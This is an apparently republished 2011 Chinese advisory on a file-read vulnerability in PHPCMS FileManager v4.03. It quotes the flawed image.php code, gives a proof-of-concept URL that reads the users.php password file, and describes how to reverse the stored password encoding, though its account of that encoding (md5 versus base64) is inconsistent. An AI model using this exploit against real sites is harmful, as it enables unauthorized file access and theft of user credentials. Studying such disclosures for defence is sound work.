PHPCMS FileManager v4.03 FileRead Vulnerability

 

#
#Author : HeXie S3curity TeAm
#Date : 2011.10.01
#

#FIle : /image.php
<?php
/*
*#########################################
* PHPCMS File Manager
* Copyright (c) 2004-2006 phpcms.cn
* Author: Longbill ( http://www.longbill.cn )
* longbill.cn@gmail.com
*#########################################
*/

$path = $_GET["path"]; //读取路径信息
$from = $_SERVER[HTTP_REFERER];
$from = dirname($from).'/';
if ($from != '/' ) $path = str_replace($from,"",$path);


$max = $_GET["max"];
include_once("func.php");
$etag = "qqqq";
if ($_SERVER['HTTP_IF_NONE_MATCH'] == $etag)
{
	header('Etag:'.$etag,true,304);
	exit;
}
else header('Etag:'.$etag);
header('Last-Modified:Tue,01 Aug 1999 10:26:24 GMT');

if (!$path || !file_exists($path))  $path="images/notfound.gif"; //图片没有找到
if (!$max) err();  //{通过Get方法传递的Max变量, 当$Max不成立时将调用err 函数.}

  我们来看看err 函数是怎么写的.

FiLe : /image.php

function err()
{
global $path;
header("Content-Length: ".@filesize($path));
readfile($path); //读取$path.
die;
} 

 

PoC:

  http://Localhost/cms/image.php?path=class/users.php //读取密码文件, 前台登陆.

  如果没有显示,请右键源码形式打开.

 

   密码是经过加密的, 但不并不是单一的Md5 hash. 密码加密第一步是将原文经过base64编码后然后利用strrev 函数从字符串末尾向前重组.

得到md5 hash 后, 先逆着打出来, 比如 321, 就写成123. 然后根据base64 编码方式进行解密, 密码原文就出来了. 

end. 

 

转载于:https://www.cnblogs.com/xiaosan/archive/2011/10/01/2196966.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值